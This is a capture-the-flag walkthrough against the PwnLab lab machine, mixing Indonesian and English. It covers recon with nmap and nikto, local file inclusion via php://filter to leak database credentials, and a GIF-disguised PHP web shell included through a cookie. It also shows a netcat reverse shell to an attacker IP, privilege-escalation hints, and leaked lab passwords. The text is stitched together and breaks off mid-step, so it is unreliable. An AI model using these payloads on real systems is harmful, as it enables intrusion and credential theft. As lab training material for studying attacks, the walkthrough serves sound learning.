Alternatif lain menggunakan onetwopunch.sh script yang bisa di ambil di
https://github.com/superkojiman/onetwopunch/blob/master/onetwopunch.sh
Caranya,
onetwopunch.sh -t targets -p all -n "-sV -O --version-intensity=9"
Dari hasil nmap, terlihat dengan jelas beberapa hal yang menarik dari sasaran,
- Ada Web Server
- Ada Database Server
Investigasi HTTP requests/responds
Untuk investigasi HTTP requests/responses
Tools: Burp Suite, Fiddler, Tamper Data/Cookies Manager+ (FF addons) Scan vulnerability (outdated version, LFI/RFI, SQLi, …) Tools: Nikto, sqlmap, nmap scripts Mencari hidden/misconfigured directori atau file Tools: Dirbuster, GoBuster, Nikto
atau
Jalankan nikto,
nikto -host 192.168.0.130
Hasilnya,
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.0.130 + Target Hostname: 192.168.0.130 + Target Port: 80 + Start Time: 2023-01-22 04:01:12 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.10 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1". + Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Cookie PHPSESSID created without the httponly flag + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + /config.php: PHP Config file may contain database IDs and passwords. + OSVDB-3268: /images/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + /login.php: Admin login page/section found. + 7915 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2023-01-22 04:02:08 (GMT-5) (56 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Disini yang menarik, kita menemukan,
- config.php kemungkinan ada username/password untuk akses database.
- login form, yang perlu di investigasi lebih lanjut, contoh
http://192.168.0.130/?page=login. Possibly vulnerable to LFI.
kemungkinan vulnerable untuk LFI (Local Inclusion File).
Bruteforcing MySQL
Percobaan untuk bruteforcing MySQL secara manual,
mysql -h 192.168.0.130 -u root -p Enter password: (kosong) ERROR 1045 (28000): Access denied for user 'root'@'192.168.0.62' (using password: NO)
mysql -h 192.168.0.130 -u root -p Enter password: (root) ERROR 1045 (28000): Access denied for user 'root'@'192.168.0.62' (using password: YES)
Naga-naga-nya kita tidak bisa menembus secara manual.
Cek Web
Login Page
Login Page
http://192.168.0.130/login.php
Coba menggunakan SQL Injection attack,
sqlmap -u "http://192.168.0.130/?page=login" --data="user=abcd&pass=abcd&submit=Login" --level=5 --risk=3 --dbms=mysql
hasilnya ..
..... [04:51:46] [WARNING] parameter 'Host' does not seem to be injectable [04:51:46] [CRITICAL] all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' [04:51:46] [WARNING] your sqlmap version is outdated [*] ending @ 04:51:46 /2023-01-22/
Usaha sql injection gagal, kita coba vulnerable to LFI.
LFI vulnerability
Contoh code:
<?php
if (isset($_GET['page']))
{
include($_GET['page'] . '.php');
}
?>
URL di bawah ini juga gagal total,
http://192.168.0.130/?page=/etc/passwd http://192.168.0.130/?page=/etc/passwd http://192.168.0.130/?page=../../../../../../../etc/passwd http://192.168.0.130/?page=../../../../../../../etc/passwd
Tampaknya, yang ini berhasil!
http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=index http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=config
Gunakan PHP filter untuk meng-encode .php file content ke base64 string sehingga kita bisa mem-bypass server agak tidak meng-eksekusi file .php yang kita ambil.
Config.php:
<?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>
Sweet! We got the MySQL credentials. Before we dump the database let’s continue checking out the remaining pages.
Index.php: <?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) {
include("lang/".$_COOKIE['lang']);
} // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body>
<img src="images/pwnlab.png">
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</body> </html> Lines 4-6: LFI vulnerability, if we set a cookie with name _lang _ pointing to a file in the file system, it will be included. We don’t even need to worry about it not ending in .php! Lines 20-23: LFI vulnerability we already got the source code thanks to.
Upload.php <?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action= method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\">
";
} else {
die('Error 4');
}
}
}
?> We haven’t figured yet a way to access this page, but this page is full of juicy content we just can’t skip!
Lines 2-3: That’s what has been denying us access. Lines 16-49: Many conditions for uploading a file:
Err 0: Whitelist for files ending with .jpg, ,jpeg, .gif and .png Err 1: File is not identified as an image Err 2: HEX signature validation? Err 3: File name contains ‘/’ to avoid LFI Err 4: Failed to upload file 4. Accessing MySQL Alright, now that we know how to upload a backdoor, we need to be able to access this page. Let’s try to access mysql remotely using the credentials we found in config.php.

kent: JWzXuBJJNy mike: SIfdsTEn6I kane: iSv5Ym2GRo 5. Uploading a backdoor Using any of the credentials provided allows us to access the upload page. What we want to do now is find a way to get a shell. How about uploading a GIF containing PHP code, and include it by the LFI vulnerability we found earlier (lang cookie)?
1. Create fake PNG file containing PHP code. GIF89; <?php system($_GET["cmd"]) ?> GIF89 is to bypass the type check, more info here.. File is stored by its md5 hash, so it’s stored at ../upload/32d3ca5e23f4ccf1e4c8660c40e75f33.png.
2. Set lang cookie to include the image we uploaded: document.cookie="lang=../upload/32d3ca5e23f4ccf1e4c8660c40e75f33.png" 3. Start a netcat listener on Kali root@kali:~/Desktop# nc -nvlp 4444 listening on [any] 4444 ... 4. Connect to the open port http://192.168.1.65/?cmd=nc -nv 192.168.1.71 4444 -e /bin/bash 5. Did we get our shell? root@kali:~/Desktop# nc -nvlp 4444 listening on [any] 4444 ... connect to [192.168.1.71] from (UNKNOWN) [192.168.1.65] 57556 whoami whoami www-data python -c 'import pty; pty.spawn("/bin/bash");' www-data@pwnlab:/var/www/html$ 6.

} This is very poorly configured as cat command is found by searching for files with that specific name in the PATH environment variable. If we create a script called cat in a certain directory and override the PATH variable, we might be able to get a shell for use mike!
If you’re interested in such problems, check out root-me.org’s system problems!

scanf("%s", msg);
snprintf(command, sizeof(command), "/bin/echo %s >> /root/messages.txt", msg);
